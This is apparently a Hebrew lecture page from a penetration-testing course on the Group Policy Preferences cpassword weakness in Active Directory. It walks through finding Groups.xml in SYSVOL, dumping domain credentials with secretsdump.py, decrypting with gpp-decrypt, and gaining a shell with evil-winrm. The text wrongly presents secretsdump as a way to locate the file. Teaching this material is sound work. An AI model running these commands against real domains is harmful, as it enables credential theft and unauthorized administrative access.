לדלג לתוכן

5.4 פגיעות cpassword + GPP הרצאה

פגיעות GPP + cpassword

מדיניות קבוצתית (Group Policy Preferences - GPP) מאפשרת למנהלי רשת להגדיר תצורות שונות ב-Active Directory, כולל יצירת משתמשים, הגדרת סיסמאות, מיפוי כוננים ועוד. בעבר, GPP השתמשה בקובץ Groups.xml כדי לשמור סיסמאות של משתמשים עם הרשאות גבוהות, אולם הקובץ הזה כלל סיסמאות מוצפנות אך ניתנות לפענוח, מה שיצר פגיעות חמורה שהובילה לגישה לא מורשית למשאבים קריטיים.

הבנת הפגיעות

ב-Windows Server 2008 הוצגה האפשרות להגדיר סיסמאות למשתמשים דרך GPP, אך במקום להשתמש בהצפנה חזקה, הסיסמאות נשמרו בקובץ Groups.xml עם הצפנה חלשה הניתנת לפענוח בקלות.

קובץ זה נמצא בתיקיות ה-SYSVOL של הדומיין, מה שאומר שלכל משתמש בדומיין יש גישה לקרוא אותו:

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{GPO-ID}\Machine\Preferences\Groups\Groups.xml

דוגמה לתוכן קובץ Groups.xml:

<Group>
    <UserName>Admin</UserName>
    <cpassword>fgH56JklmN78O12PQR34==</cpassword>
</Group>

איתור הקובץ באמצעות כלי אנומירציה

חיפוש ידני ב-SYSVOL דרך SMB

smbclient -L //<DC-IP> -U anonymous
smbclient //<DC-IP>/SYSVOL -U <USER>

חיפוש אוטומטי עם Impacket’s secretsdump.py

python3 secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC-IP> -just-dc

פענוח הסיסמה

מיקרוסופט שחררה את מפתח ההצפנה של cpassword, מה שמאפשר לפענח את הסיסמה בקלות:

gpp-decrypt "fgH56JklmN78O12PQR34=="

תקיפה מעשית - שימוש בסיסמה שהתקבלה

לאחר שחולצה הסיסמה, ניתן להשתמש בה כדי להתחבר לDC בקלות

חיבור ל-SMB עם הסיסמה שנמצאה

smbclient //<DC-IP>/C$ -U Admin

הרצת פקודות עם Evil-WinRM

מי שלא מכיר: evil-winrm זה לקוח לשירות winrm שנפוץ בקרב מחשבי ווינדוס.
ובגדול באמצעות הפקודה אם יש לך creds או אפילו ntlm hash אפשר בקלות לקבל shell

evil-winrm -i <TARGET> -u Admin -p <DECODED_PASSWORD>